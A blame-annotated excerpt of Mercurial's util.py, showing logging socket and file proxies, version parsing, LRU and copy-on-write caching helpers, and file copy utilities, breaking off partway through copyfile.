r43347 | self.fh.write(b'%s> flush() -> %r\n' % (self.name, res)) | ||
|
r36541 | |||
|
r36542 | # For observedbufferedinputpipe. | ||
def bufferedread(self, res, size): | ||||
|
r37062 | if not self.reads: | ||
return | ||||
if self.logdataapis: | ||||
|
r43346 | self.fh.write( | ||
|
r43347 | b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res)) | ||
|
r43346 | ) | ||
|
r37062 | |||
|
r36542 | self._writedata(res) | ||
def bufferedreadline(self, res): | ||||
|
r37062 | if not self.reads: | ||
return | ||||
if self.logdataapis: | ||||
|
r43346 | self.fh.write( | ||
|
r43347 | b'%s> bufferedreadline() -> %d' % (self.name, len(res)) | ||
|
r43346 | ) | ||
|
r37062 | |||
|
r36542 | self._writedata(res) | ||
|
r43346 | |||
def makeloggingfileobject( | ||||
logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True | ||||
): | ||||
|
r36541 | """Turn a file object into a logging file object.""" | ||
|
r43346 | observer = fileobjectobserver( | ||
logh, | ||||
name, | ||||
reads=reads, | ||||
writes=writes, | ||||
logdata=logdata, | ||||
logdataapis=logdataapis, | ||||
) | ||||
|
r36541 | return fileobjectproxy(fh, observer) | ||
|
r43346 | |||
|
r37028 | class socketobserver(baseproxyobserver): | ||
"""Logs socket activity.""" | ||||
|
r43346 | |||
def __init__( | ||||
self, | ||||
fh, | ||||
name, | ||||
reads=True, | ||||
writes=True, | ||||
states=True, | ||||
logdata=False, | ||||
logdataapis=True, | ||||
): | ||||
|
r37028 | self.fh = fh | ||
self.name = name | ||||
self.reads = reads | ||||
self.writes = writes | ||||
self.states = states | ||||
self.logdata = logdata | ||||
|
r37062 | self.logdataapis = logdataapis | ||
|
r37028 | |||
def makefile(self, res, mode=None, bufsize=None): | ||||
if not self.states: | ||||
return | ||||
|
r43347 | self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize)) | ||
|
r37028 | |||
def recv(self, res, size, flags=0): | ||||
if not self.reads: | ||||
return | ||||
|
r37062 | if self.logdataapis: | ||
|
r43346 | self.fh.write( | ||
|
r43347 | b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res)) | ||
|
r43346 | ) | ||
|
r37028 | self._writedata(res) | ||
def recvfrom(self, res, size, flags=0): | ||||
if not self.reads: | ||||
return | ||||
|
r37062 | if self.logdataapis: | ||
|
r43346 | self.fh.write( | ||
|
r43347 | b'%s> recvfrom(%d, %d) -> %d' | ||
|
r43346 | % (self.name, size, flags, len(res[0])) | ||
) | ||||
|
r37062 | |||
|
r37028 | self._writedata(res[0]) | ||
def recvfrom_into(self, res, buf, size, flags=0): | ||||
if not self.reads: | ||||
return | ||||
|
r37062 | if self.logdataapis: | ||
|
r43346 | self.fh.write( | ||
|
r43347 | b'%s> recvfrom_into(%d, %d) -> %d' | ||
|
r43346 | % (self.name, size, flags, res[0]) | ||
) | ||||
self._writedata(buf[0 : res[0]]) | ||||
|
r37028 | |||
def recv_into(self, res, buf, size=0, flags=0): | ||||
if not self.reads: | ||||
return | ||||
|
r37062 | if self.logdataapis: | ||
|
r43346 | self.fh.write( | ||
|
r43347 | b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res) | ||
|
r43346 | ) | ||
|
r37062 | |||
|
r37028 | self._writedata(buf[0:res]) | ||
def send(self, res, data, flags=0): | ||||
if not self.writes: | ||||
return | ||||
|
r43346 | self.fh.write( | ||
|
r43347 | b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res)) | ||
|
r43346 | ) | ||
|
r37028 | self._writedata(data) | ||
def sendall(self, res, data, flags=0): | ||||
if not self.writes: | ||||
return | ||||
|
r37062 | if self.logdataapis: | ||
# Returns None on success. So don't bother reporting return value. | ||||
|
r43347 | self.fh.write( | ||
b'%s> sendall(%d, %d)' % (self.name, len(data), flags) | ||||
) | ||||
|
r37062 | |||
|
r37028 | self._writedata(data) | ||
def sendto(self, res, data, flagsoraddress, address=None): | ||||
if not self.writes: | ||||
return | ||||
if address: | ||||
flags = flagsoraddress | ||||
else: | ||||
flags = 0 | ||||
|
r37062 | if self.logdataapis: | ||
|
r43346 | self.fh.write( | ||
|
r43347 | b'%s> sendto(%d, %d, %r) -> %d' | ||
|
r43346 | % (self.name, len(data), flags, address, res) | ||
) | ||||
|
r37062 | |||
|
r37028 | self._writedata(data) | ||
def setblocking(self, res, flag): | ||||
if not self.states: | ||||
return | ||||
|
r43347 | self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag)) | ||
|
r37028 | |||
def settimeout(self, res, value): | ||||
if not self.states: | ||||
return | ||||
|
r43347 | self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value)) | ||
|
r37028 | |||
def gettimeout(self, res): | ||||
if not self.states: | ||||
return | ||||
|
r43347 | self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res)) | ||
|
r37028 | |||
|
r39095 | def setsockopt(self, res, level, optname, value): | ||
|
r37028 | if not self.states: | ||
return | ||||
|
r43346 | self.fh.write( | ||
|
r43347 | b'%s> setsockopt(%r, %r, %r) -> %r\n' | ||
|
r43346 | % (self.name, level, optname, value, res) | ||
) | ||||
def makeloggingsocket( | ||||
logh, | ||||
fh, | ||||
name, | ||||
reads=True, | ||||
writes=True, | ||||
states=True, | ||||
logdata=False, | ||||
logdataapis=True, | ||||
): | ||||
|
r37028 | """Turn a socket into a logging socket.""" | ||
|
r43346 | observer = socketobserver( | ||
logh, | ||||
name, | ||||
reads=reads, | ||||
writes=writes, | ||||
states=states, | ||||
logdata=logdata, | ||||
logdataapis=logdataapis, | ||||
) | ||||
|
r37028 | return socketproxy(fh, observer) | ||
|
r43346 | |||
|
r7632 | def version(): | ||
"""Return version information if available.""" | ||||
try: | ||||
|
r27358 | from . import __version__ | ||
|
r43346 | |||
|
r7632 | return __version__.version | ||
except ImportError: | ||||
|
r43347 | return b'unknown' | ||
|
r7632 | |||
|
r43346 | |||
|
r27112 | def versiontuple(v=None, n=4): | ||
"""Parses a Mercurial version string into an N-tuple. | ||||
The version string to be parsed is specified with the ``v`` argument. | ||||
If it isn't defined, the current Mercurial version string will be parsed. | ||||
``n`` can be 2, 3, or 4. Here is how some version strings map to | ||||
returned values: | ||||
|
r34133 | >>> v = b'3.6.1+190-df9b73d2d444' | ||
|
r27112 | >>> versiontuple(v, 2) | ||
(3, 6) | ||||
>>> versiontuple(v, 3) | ||||
(3, 6, 1) | ||||
>>> versiontuple(v, 4) | ||||
(3, 6, 1, '190-df9b73d2d444') | ||||
|
r34133 | >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118') | ||
|
r27112 | (3, 6, 1, '190-df9b73d2d444+20151118') | ||
|
r34133 | >>> v = b'3.6' | ||
|
r27112 | >>> versiontuple(v, 2) | ||
(3, 6) | ||||
>>> versiontuple(v, 3) | ||||
(3, 6, None) | ||||
>>> versiontuple(v, 4) | ||||
(3, 6, None, None) | ||||
|
r29613 | |||
|
r34133 | >>> v = b'3.9-rc' | ||
|
r29613 | >>> versiontuple(v, 2) | ||
(3, 9) | ||||
>>> versiontuple(v, 3) | ||||
(3, 9, None) | ||||
>>> versiontuple(v, 4) | ||||
(3, 9, None, 'rc') | ||||
|
r34133 | >>> v = b'3.9-rc+2-02a8fea4289b' | ||
|
r29613 | >>> versiontuple(v, 2) | ||
(3, 9) | ||||
>>> versiontuple(v, 3) | ||||
(3, 9, None) | ||||
>>> versiontuple(v, 4) | ||||
(3, 9, None, 'rc+2-02a8fea4289b') | ||||
|
r37819 | |||
>>> versiontuple(b'4.6rc0') | ||||
(4, 6, None, 'rc0') | ||||
>>> versiontuple(b'4.6rc0+12-425d55e54f98') | ||||
(4, 6, None, 'rc0+12-425d55e54f98') | ||||
>>> versiontuple(b'.1.2.3') | ||||
(None, None, None, '.1.2.3') | ||||
>>> versiontuple(b'12.34..5') | ||||
(12, 34, None, '..5') | ||||
>>> versiontuple(b'1.2.3.4.5.6') | ||||
(1, 2, 3, '.4.5.6') | ||||
|
r27112 | """ | ||
if not v: | ||||
v = version() | ||||
|
r37819 | m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v) | ||
if not m: | ||||
|
r43347 | vparts, extra = b'', v | ||
|
r37819 | elif m.group(2): | ||
vparts, extra = m.groups() | ||||
|
r27112 | else: | ||
|
r37819 | vparts, extra = m.group(1), None | ||
|
r27112 | |||
vints = [] | ||||
|
r43347 | for i in vparts.split(b'.'): | ||
|
r27112 | try: | ||
vints.append(int(i)) | ||||
except ValueError: | ||||
break | ||||
# (3, 6) -> (3, 6, None) | ||||
while len(vints) < 3: | ||||
vints.append(None) | ||||
if n == 2: | ||||
return (vints[0], vints[1]) | ||||
if n == 3: | ||||
return (vints[0], vints[1], vints[2]) | ||||
if n == 4: | ||||
return (vints[0], vints[1], vints[2], extra) | ||||
|
r43346 | |||
|
r3145 | def cachefunc(func): | ||
'''cache the result of function calls''' | ||||
|
r3147 | # XXX doesn't handle keywords args | ||
|
r28832 | if func.__code__.co_argcount == 0: | ||
|
r20835 | cache = [] | ||
|
r43346 | |||
|
r20835 | def f(): | ||
if len(cache) == 0: | ||||
cache.append(func()) | ||||
return cache[0] | ||||
|
r43346 | |||
|
r20835 | return f | ||
|
r3145 | cache = {} | ||
|
r28832 | if func.__code__.co_argcount == 1: | ||
|
r3147 | # we gain a small amount of time because | ||
# we don't need to pack/unpack the list | ||||
|
r3145 | def f(arg): | ||
if arg not in cache: | ||||
cache[arg] = func(arg) | ||||
return cache[arg] | ||||
|
r43346 | |||
|
r3145 | else: | ||
|
r43346 | |||
|
r3145 | def f(*args): | ||
if args not in cache: | ||||
cache[args] = func(*args) | ||||
return cache[args] | ||||
return f | ||||
|
r43346 | |||
|
r34353 | class cow(object): | ||
"""helper class to make copy-on-write easier | ||||
Call preparewrite before doing any writes. | ||||
""" | ||||
def preparewrite(self): | ||||
"""call this before writes, return self or a copied new object""" | ||||
if getattr(self, '_copied', 0): | ||||
self._copied -= 1 | ||||
return self.__class__(self) | ||||
return self | ||||
def copy(self): | ||||
"""always do a cheap copy""" | ||||
self._copied = getattr(self, '_copied', 0) + 1 | ||||
return self | ||||
|
r43346 | |||
|
r32300 | class sortdict(collections.OrderedDict): | ||
|
r32306 | '''a simple sorted dictionary | ||
|
r34133 | >>> d1 = sortdict([(b'a', 0), (b'b', 1)]) | ||
|
r32306 | >>> d2 = d1.copy() | ||
>>> d2 | ||||
sortdict([('a', 0), ('b', 1)]) | ||||
|
r34133 | >>> d2.update([(b'a', 2)]) | ||
|
r34141 | >>> list(d2.keys()) # should still be in last-set order | ||
|
r32306 | ['b', 'a'] | ||
''' | ||||
|
r32300 | def __setitem__(self, key, value): | ||
|
r21813 | if key in self: | ||
|
r32300 | del self[key] | ||
super(sortdict, self).__setitem__(key, value) | ||||
|
r21813 | |||
|
r33628 | if pycompat.ispypy: | ||
# __setitem__() isn't called as of PyPy 5.8.0 | ||||
def update(self, src): | ||||
if isinstance(src, dict): | ||||
|
r43376 | src = pycompat.iteritems(src) | ||
|
r33628 | for k, v in src: | ||
self[k] = v | ||||
|
r43346 | |||
|
r34353 | class cowdict(cow, dict): | ||
"""copy-on-write dict | ||||
Be sure to call d = d.preparewrite() before writing to d. | ||||
>>> a = cowdict() | ||||
>>> a is a.preparewrite() | ||||
True | ||||
>>> b = a.copy() | ||||
>>> b is a | ||||
True | ||||
>>> c = b.copy() | ||||
>>> c is a | ||||
True | ||||
>>> a = a.preparewrite() | ||||
>>> b is a | ||||
False | ||||
>>> a is a.preparewrite() | ||||
True | ||||
>>> c = c.preparewrite() | ||||
>>> b is c | ||||
False | ||||
>>> b is b.preparewrite() | ||||
True | ||||
""" | ||||
|
r43346 | |||
|
r34353 | class cowsortdict(cow, sortdict): | ||
"""copy-on-write sortdict | ||||
Be sure to call d = d.preparewrite() before writing to d. | ||||
""" | ||||
|
r43346 | |||
|
r43775 | class transactional(object): # pytype: disable=ignored-metaclass | ||
|
r33790 | """Base class for making a transactional type into a context manager.""" | ||
|
r43346 | |||
|
r33790 | __metaclass__ = abc.ABCMeta | ||
@abc.abstractmethod | ||||
def close(self): | ||||
"""Successfully closes the transaction.""" | ||||
@abc.abstractmethod | ||||
def release(self): | ||||
"""Marks the end of the transaction. | ||||
If the transaction has not been closed, it will be aborted. | ||||
""" | ||||
def __enter__(self): | ||||
return self | ||||
def __exit__(self, exc_type, exc_val, exc_tb): | ||||
try: | ||||
if exc_type is None: | ||||
self.close() | ||||
finally: | ||||
self.release() | ||||
|
r43346 | |||
|
r33446 | @contextlib.contextmanager | ||
def acceptintervention(tr=None): | ||||
"""A context manager that closes the transaction on InterventionRequired | ||||
If no transaction was provided, this simply runs the body and returns | ||||
""" | ||||
if not tr: | ||||
yield | ||||
return | ||||
try: | ||||
yield | ||||
tr.close() | ||||
except error.InterventionRequired: | ||||
tr.close() | ||||
raise | ||||
finally: | ||||
tr.release() | ||||
|
r43346 | |||
|
r33621 | @contextlib.contextmanager | ||
def nullcontextmanager(): | ||||
yield | ||||
|
r43346 | |||
|
r27371 | class _lrucachenode(object): | ||
"""A node in a doubly linked list. | ||||
Holds a reference to nodes on either side as well as a key-value | ||||
pair for the dictionary entry. | ||||
""" | ||||
|
r43346 | |||
|
r43906 | __slots__ = ('next', 'prev', 'key', 'value', 'cost') | ||
|
r27371 | |||
def __init__(self): | ||||
self.next = None | ||||
self.prev = None | ||||
self.key = _notset | ||||
self.value = None | ||||
|
r39603 | self.cost = 0 | ||
|
r27371 | |||
def markempty(self): | ||||
"""Mark the node as emptied.""" | ||||
self.key = _notset | ||||
|
r39603 | self.value = None | ||
self.cost = 0 | ||||
|
r27371 | |||
|
r43346 | |||
|
r18603 | class lrucachedict(object): | ||
|
r27371 | """Dict that caches most recent accesses and sets. | ||
The dict consists of an actual backing dict - indexed by original | ||||
key - and a doubly linked circular list defining the order of entries in | ||||
the cache. | ||||
The head node is the newest entry in the cache. If the cache is full, | ||||
we recycle head.prev and make it the new head. Cache accesses result in | ||||
the node being moved to before the existing head and being marked as the | ||||
new head node. | ||||
|
r39603 | |||
Items in the cache can be inserted with an optional "cost" value. This is | ||||
simply an integer that is specified by the caller. The cache can be queried | ||||
for the total cost of all items presently in the cache. | ||||
|
r39604 | |||
The cache can also define a maximum cost. If a cache insertion would | ||||
cause the total cost of the cache to go beyond the maximum cost limit, | ||||
nodes will be evicted to make room for the new code. This can be used | ||||
to e.g. set a max memory limit and associate an estimated bytes size | ||||
cost to each item in the cache. By default, no maximum cost is enforced. | ||||
|
r27371 | """ | ||
|
r43346 | |||
|
r39604 | def __init__(self, max, maxcost=0): | ||
|
r18603 | self._cache = {} | ||
|
r27371 | |||
self._head = head = _lrucachenode() | ||||
head.prev = head | ||||
head.next = head | ||||
self._size = 1 | ||||
|
r39600 | self.capacity = max | ||
|
r39603 | self.totalcost = 0 | ||
|
r39604 | self.maxcost = maxcost | ||
|
r27371 | |||
def __len__(self): | ||||
return len(self._cache) | ||||
def __contains__(self, k): | ||||
return k in self._cache | ||||
|
r18603 | |||
|
r27371 | def __iter__(self): | ||
# We don't have to iterate in cache order, but why not. | ||||
n = self._head | ||||
for i in range(len(self._cache)): | ||||
yield n.key | ||||
n = n.next | ||||
def __getitem__(self, k): | ||||
node = self._cache[k] | ||||
self._movetohead(node) | ||||
return node.value | ||||
|
r39603 | def insert(self, k, v, cost=0): | ||
"""Insert a new item in the cache with optional cost value.""" | ||||
|
r27371 | node = self._cache.get(k) | ||
# Replace existing value and mark as newest. | ||||
if node is not None: | ||||
|
r39603 | self.totalcost -= node.cost | ||
|
r27371 | node.value = v | ||
|
r39603 | node.cost = cost | ||
self.totalcost += cost | ||||
|
r27371 | self._movetohead(node) | ||
|
r39604 | |||
if self.maxcost: | ||||
self._enforcecostlimit() | ||||
|
r27371 | return | ||
|
r39600 | if self._size < self.capacity: | ||
|
r27371 | node = self._addcapacity() | ||
else: | ||||
# Grab the last/oldest item. | ||||
node = self._head.prev | ||||
|
r18603 | |||
|
r27371 | # At capacity. Kill the old entry. | ||
if node.key is not _notset: | ||||
|
r39603 | self.totalcost -= node.cost | ||
|
r27371 | del self._cache[node.key] | ||
node.key = k | ||||
node.value = v | ||||
|
r39603 | node.cost = cost | ||
self.totalcost += cost | ||||
|
r27371 | self._cache[k] = node | ||
# And mark it as newest entry. No need to adjust order since it | ||||
# is already self._head.prev. | ||||
self._head = node | ||||
|
r18603 | |||
|
r39604 | if self.maxcost: | ||
self._enforcecostlimit() | ||||
|
r39603 | def __setitem__(self, k, v): | ||
self.insert(k, v) | ||||
|
r27371 | def __delitem__(self, k): | ||
|
r40916 | self.pop(k) | ||
def pop(self, k, default=_notset): | ||||
try: | ||||
node = self._cache.pop(k) | ||||
except KeyError: | ||||
if default is _notset: | ||||
raise | ||||
return default | ||||
value = node.value | ||||
|
r39603 | self.totalcost -= node.cost | ||
|
r27371 | node.markempty() | ||
# Temporarily mark as newest item before re-adjusting head to make | ||||
# this node the oldest item. | ||||
self._movetohead(node) | ||||
self._head = node.next | ||||
|
r40916 | return value | ||
|
r27371 | # Additional dict methods. | ||
def get(self, k, default=None): | ||||
try: | ||||
|
r39607 | return self.__getitem__(k) | ||
|
r27371 | except KeyError: | ||
return default | ||||
|
r18603 | |||
|
r40915 | def peek(self, k, default=_notset): | ||
"""Get the specified item without moving it to the head | ||||
Unlike get(), this doesn't mutate the internal state. But be aware | ||||
that it doesn't mean peek() is thread safe. | ||||
""" | ||||
try: | ||||
node = self._cache[k] | ||||
return node.value | ||||
except KeyError: | ||||
if default is _notset: | ||||
raise | ||||
return default | ||||
|
r19710 | def clear(self): | ||
|
r27371 | n = self._head | ||
while n.key is not _notset: | ||||
|
r39603 | self.totalcost -= n.cost | ||
|
r27371 | n.markempty() | ||
n = n.next | ||||
|
r19710 | self._cache.clear() | ||
|
r27371 | |||
|
r39604 | def copy(self, capacity=None, maxcost=0): | ||
|
r39601 | """Create a new cache as a copy of the current one. | ||
By default, the new cache has the same capacity as the existing one. | ||||
But, the cache capacity can be changed as part of performing the | ||||
copy. | ||||
Items in the copy have an insertion/access order matching this | ||||
instance. | ||||
""" | ||||
capacity = capacity or self.capacity | ||||
|
r39604 | maxcost = maxcost or self.maxcost | ||
result = lrucachedict(capacity, maxcost=maxcost) | ||||
|
r39599 | |||
# We copy entries by iterating in oldest-to-newest order so the copy | ||||
# has the correct ordering. | ||||
# Find the first non-empty entry. | ||||
|
r27576 | n = self._head.prev | ||
|
r39599 | while n.key is _notset and n is not self._head: | ||
n = n.prev | ||||
|
r39601 | # We could potentially skip the first N items when decreasing capacity. | ||
# But let's keep it simple unless it is a performance problem. | ||||
|
r27576 | for i in range(len(self._cache)): | ||
|
r39603 | result.insert(n.key, n.value, cost=n.cost) | ||
|
r27576 | n = n.prev | ||
|
r39599 | |||
|
r27576 | return result | ||
|
r39602 | def popoldest(self): | ||
"""Remove the oldest item from the cache. | ||||
Returns the (key, value) describing the removed cache entry. | ||||
""" | ||||
if not self._cache: | ||||
return | ||||
# Walk the linked list backwards starting at tail node until we hit | ||||
# a non-empty node. | ||||
n = self._head.prev | ||||
while n.key is _notset: | ||||
n = n.prev | ||||
key, value = n.key, n.value | ||||
# And remove it from the cache and mark it as empty. | ||||
del self._cache[n.key] | ||||
|
r39603 | self.totalcost -= n.cost | ||
|
r39602 | n.markempty() | ||
return key, value | ||||
|
r27371 | def _movetohead(self, node): | ||
"""Mark a node as the newest, making it the new head. | ||||
When a node is accessed, it becomes the freshest entry in the LRU | ||||
list, which is denoted by self._head. | ||||
Visually, let's make ``N`` the new head node (* denotes head): | ||||
previous/oldest <-> head <-> next/next newest | ||||
----<->--- A* ---<->----- | ||||
| | | ||||
E <-> D <-> N <-> C <-> B | ||||
To: | ||||
----<->--- N* ---<->----- | ||||
| | | ||||
E <-> D <-> C <-> B <-> A | ||||
This requires the following moves: | ||||
C.next = D (node.prev.next = node.next) | ||||
D.prev = C (node.next.prev = node.prev) | ||||
E.next = N (head.prev.next = node) | ||||
N.prev = E (node.prev = head.prev) | ||||
N.next = A (node.next = head) | ||||
A.prev = N (head.prev = node) | ||||
""" | ||||
head = self._head | ||||
# C.next = D | ||||
node.prev.next = node.next | ||||
# D.prev = C | ||||
node.next.prev = node.prev | ||||
# N.prev = E | ||||
node.prev = head.prev | ||||
# N.next = A | ||||
# It is tempting to do just "head" here, however if node is | ||||
# adjacent to head, this will do bad things. | ||||
node.next = head.prev.next | ||||
# E.next = N | ||||
node.next.prev = node | ||||
# A.prev = N | ||||
node.prev.next = node | ||||
self._head = node | ||||
def _addcapacity(self): | ||||
"""Add a node to the circular linked list. | ||||
The new node is inserted before the head node. | ||||
""" | ||||
head = self._head | ||||
node = _lrucachenode() | ||||
head.prev.next = node | ||||
node.prev = head.prev | ||||
node.next = head | ||||
head.prev = node | ||||
self._size += 1 | ||||
return node | ||||
|
r19710 | |||
|
r39604 | def _enforcecostlimit(self): | ||
# This should run after an insertion. It should only be called if total | ||||
# cost limits are being enforced. | ||||
# The most recently inserted node is never evicted. | ||||
|
r39605 | if len(self) <= 1 or self.totalcost <= self.maxcost: | ||
return | ||||
# This is logically equivalent to calling popoldest() until we | ||||
# free up enough cost. We don't do that since popoldest() needs | ||||
# to walk the linked list and doing this in a loop would be | ||||
# quadratic. So we find the first non-empty node and then | ||||
# walk nodes until we free up enough capacity. | ||||
|
r39606 | # | ||
# If we only removed the minimum number of nodes to free enough | ||||
# cost at insert time, chances are high that the next insert would | ||||
# also require pruning. This would effectively constitute quadratic | ||||
# behavior for insert-heavy workloads. To mitigate this, we set a | ||||
# target cost that is a percentage of the max cost. This will tend | ||||
# to free more nodes when the high water mark is reached, which | ||||
# lowers the chances of needing to prune on the subsequent insert. | ||||
targetcost = int(self.maxcost * 0.75) | ||||
|
r39605 | n = self._head.prev | ||
while n.key is _notset: | ||||
n = n.prev | ||||
|
r39606 | while len(self) > 1 and self.totalcost > targetcost: | ||
|
r39605 | del self._cache[n.key] | ||
self.totalcost -= n.cost | ||||
n.markempty() | ||||
n = n.prev | ||||
|
r39604 | |||
|
r43346 | |||
|
r9097 | def lrucachefunc(func): | ||
'''cache most recent results of function calls''' | ||||
cache = {} | ||||
|
r25113 | order = collections.deque() | ||
|
r28832 | if func.__code__.co_argcount == 1: | ||
|
r43346 | |||
|
r9097 | def f(arg): | ||
if arg not in cache: | ||||
if len(cache) > 20: | ||||
|
r16803 | del cache[order.popleft()] | ||
|
r9097 | cache[arg] = func(arg) | ||
else: | ||||
order.remove(arg) | ||||
order.append(arg) | ||||
return cache[arg] | ||||
|
r43346 | |||
|
r9097 | else: | ||
|
r43346 | |||
|
r9097 | def f(*args): | ||
if args not in cache: | ||||
if len(cache) > 20: | ||||
|
r16803 | del cache[order.popleft()] | ||
|
r9097 | cache[args] = func(*args) | ||
else: | ||||
order.remove(args) | ||||
order.append(args) | ||||
return cache[args] | ||||
return f | ||||
|
r43346 | |||
|
r8207 | class propertycache(object): | ||
def __init__(self, func): | ||||
self.func = func | ||||
self.name = func.__name__ | ||||
|
r43346 | |||
|
r8207 | def __get__(self, obj, type=None): | ||
result = self.func(obj) | ||||
|
r18013 | self.cachevalue(obj, result) | ||
|
r8207 | return result | ||
|
r18013 | def cachevalue(self, obj, value): | ||
|
r19951 | # __dict__ assignment required to bypass __setattr__ (eg: repoview) | ||
|
r19845 | obj.__dict__[self.name] = value | ||
|
r18013 | |||
|
r43346 | |||
|
r35021 | def clearcachedproperty(obj, prop): | ||
'''clear a cached property value, if one has been set''' | ||||
|
r40725 | prop = pycompat.sysstr(prop) | ||
|
r35021 | if prop in obj.__dict__: | ||
del obj.__dict__[prop] | ||||
|
r43346 | |||
|
r7396 | def increasingchunks(source, min=1024, max=65536): | ||
'''return no less than min bytes per chunk while data remains, | ||||
doubling min after each chunk until it reaches max''' | ||||
|
r43346 | |||
|
r7396 | def log2(x): | ||
if not x: | ||||
return 0 | ||||
i = 0 | ||||
while x: | ||||
x >>= 1 | ||||
i += 1 | ||||
return i - 1 | ||||
buf = [] | ||||
blen = 0 | ||||
for chunk in source: | ||||
buf.append(chunk) | ||||
blen += len(chunk) | ||||
if blen >= min: | ||||
if min < max: | ||||
min = min << 1 | ||||
nmin = 1 << log2(blen) | ||||
if nmin > min: | ||||
min = nmin | ||||
if min > max: | ||||
min = max | ||||
|
r43347 | yield b''.join(buf) | ||
|
r7396 | blen = 0 | ||
buf = [] | ||||
if buf: | ||||
|
r43347 | yield b''.join(buf) | ||
|
r7396 | |||
|
r43346 | |||
|
r10282 | def always(fn): | ||
return True | ||||
|
r43346 | |||
|
r10282 | def never(fn): | ||
return False | ||||
|
r724 | |||
|
r43346 | |||
|
r23495 | def nogc(func): | ||
"""disable garbage collector | ||||
Python's garbage collector triggers a GC each time a certain number of | ||||
container objects (the number being defined by gc.get_threshold()) are | ||||
allocated even when marked not to be tracked by the collector. Tracking has | ||||
no effect on when GCs are triggered, only on what objects the GC looks | ||||
|
r23543 | into. As a workaround, disable GC while building complex (huge) | ||
|
r23495 | containers. | ||
|
r33796 | This garbage collector issue have been fixed in 2.7. But it still affect | ||
CPython's performance. | ||||
|
r23495 | """ | ||
|
r43346 | |||
|
r23495 | def wrapper(*args, **kwargs): | ||
gcenabled = gc.isenabled() | ||||
gc.disable() | ||||
try: | ||||
return func(*args, **kwargs) | ||||
finally: | ||||
if gcenabled: | ||||
gc.enable() | ||||
|
r43346 | |||
|
r23495 | return wrapper | ||
|
r43346 | |||
|
r33796 | if pycompat.ispypy: | ||
# PyPy runs slower with gc disabled | ||||
nogc = lambda x: x | ||||
|
r43346 | |||
|
r4229 | def pathto(root, n1, n2): | ||
|
r886 | '''return the relative path from one place to another. | ||
|
r4229 | root should use os.sep to separate directories | ||
|
r3669 | n1 should use os.sep to separate directories | ||
n2 should use "/" to separate directories | ||||
returns an os.sep-separated path. | ||||
|
r4229 | |||
If n1 is a relative path, it's assumed it's | ||||
relative to root. | ||||
n2 should always be relative to root. | ||||
|
r3669 | ''' | ||
|
r10282 | if not n1: | ||
return localpath(n2) | ||||
|
r4230 | if os.path.isabs(n1): | ||
if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]: | ||||
return os.path.join(root, localpath(n2)) | ||||
|
r43347 | n2 = b'/'.join((pconvert(root), n2)) | ||
a, b = splitpath(n1), n2.split(b'/') | ||||
|
r1541 | a.reverse() | ||
b.reverse() | ||||
|
r884 | while a and b and a[-1] == b[-1]: | ||
|
r1541 | a.pop() | ||
b.pop() | ||||
|
r884 | b.reverse() | ||
|
r43347 | return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.' | ||
|
r884 | |||
|
r43346 | |||
|
r22633 | # the location of data files matching the source code | ||
|
r43347 | if procutil.mainfrozen() and getattr(sys, 'frozen', None) != b'macosx_app': | ||
|
r22633 | # executable version (py2exe) doesn't support __file__ | ||
|
r30669 | datapath = os.path.dirname(pycompat.sysexecutable) | ||
|
r22633 | else: | ||
|
r31074 | datapath = os.path.dirname(pycompat.fsencode(__file__)) | ||
|
r30301 | |||
|
r22638 | i18n.setdatapath(datapath) | ||
|
r43346 | |||
|
r7388 | def checksignature(func): | ||
'''wrap a function with code to check for calling errors''' | ||||
|
r43346 | |||
|
r7388 | def check(*args, **kwargs): | ||
try: | ||||
return func(*args, **kwargs) | ||||
except TypeError: | ||||
if len(traceback.extract_tb(sys.exc_info()[2])) == 1: | ||||
|
r7646 | raise error.SignatureError | ||
|
r7388 | raise | ||
return check | ||||
|
r43346 | |||
|
r31575 | # a whilelist of known filesystems where hardlink works reliably | ||
|
r32291 | _hardlinkfswhitelist = { | ||
|
r43347 | b'apfs', | ||
b'btrfs', | ||||
b'ext2', | ||||
b'ext3', | ||||
b'ext4', | ||||
b'hfs', | ||||
b'jfs', | ||||
b'NTFS', | ||||
b'reiserfs', | ||||
b'tmpfs', | ||||
b'ufs', | ||||
b'xfs', | ||||
b'zfs', | ||||
|
r32291 | } | ||
|
r31575 | |||
|
r43346 | |||
|
r29204 | def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False): | ||
|
r27369 | '''copy a file, preserving mode and optionally other stat info like | ||
|
r29367 | atime/mtime | ||
checkambig argument is used with filestat, and is useful only if | ||||
destination file is guarded by any lock (e.g. repo.lock or | ||||
repo.wlock). | ||||
copystat and checkambig should be exclusive. | ||||
''' | ||||
|
r29204 | assert not (copystat and checkambig) | ||
oldstat = None | ||||
|
r18326 | if os.path.lexists(dest): | ||
|
r29204 | if checkambig: | ||
|
r32772 | oldstat = checkambig and filestat.frompath(dest) | ||
|
r18326 | unlink(dest) | ||
|
r31575 | if hardlink: | ||
# Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks | ||||
# unless we are confident that dest is on a whitelisted filesystem. | ||||
|
r31678 | try: | ||
fstype = getfstype(os.path.dirname(dest)) | ||||
except OSError: | ||||
fstype = None | ||||
|
r31575 | if fstype not in _hardlinkfswhitelist: | ||
hardlink = False | ||||
|
r31577 | if hardlink: | ||
|
r23899 | try: | ||
oslink(src, dest) | ||||
return | ||||
except (IOError, OSError): | ||||
|
r43346 | pass # fall back to normal copy | ||
|
r4271 | if os.path.islink(src): | ||
os.symlink(os.readlink(src), dest) | ||||
|
r27369 | # copytime is ignored for symlinks, but in general copytime isn't needed | ||
# for them anyway | ||||
|
r4271 | else: | ||
try: | ||||
shutil.copyfile(src, dest) | ||||
|
r27369 | if copystat: | ||
# copystat also copies mode | ||||
shutil.copystat(src, dest) | ||||
else: | ||||
shutil.copymode(src, dest) | ||||
|
r29204 | if oldstat and oldstat.stat: | ||
|
r32772 | newstat = filestat.frompath(dest) | ||
|
r29204 | if newstat.isambig(oldstat): | ||
# stat of copied file is ambiguous to original one | ||||
|
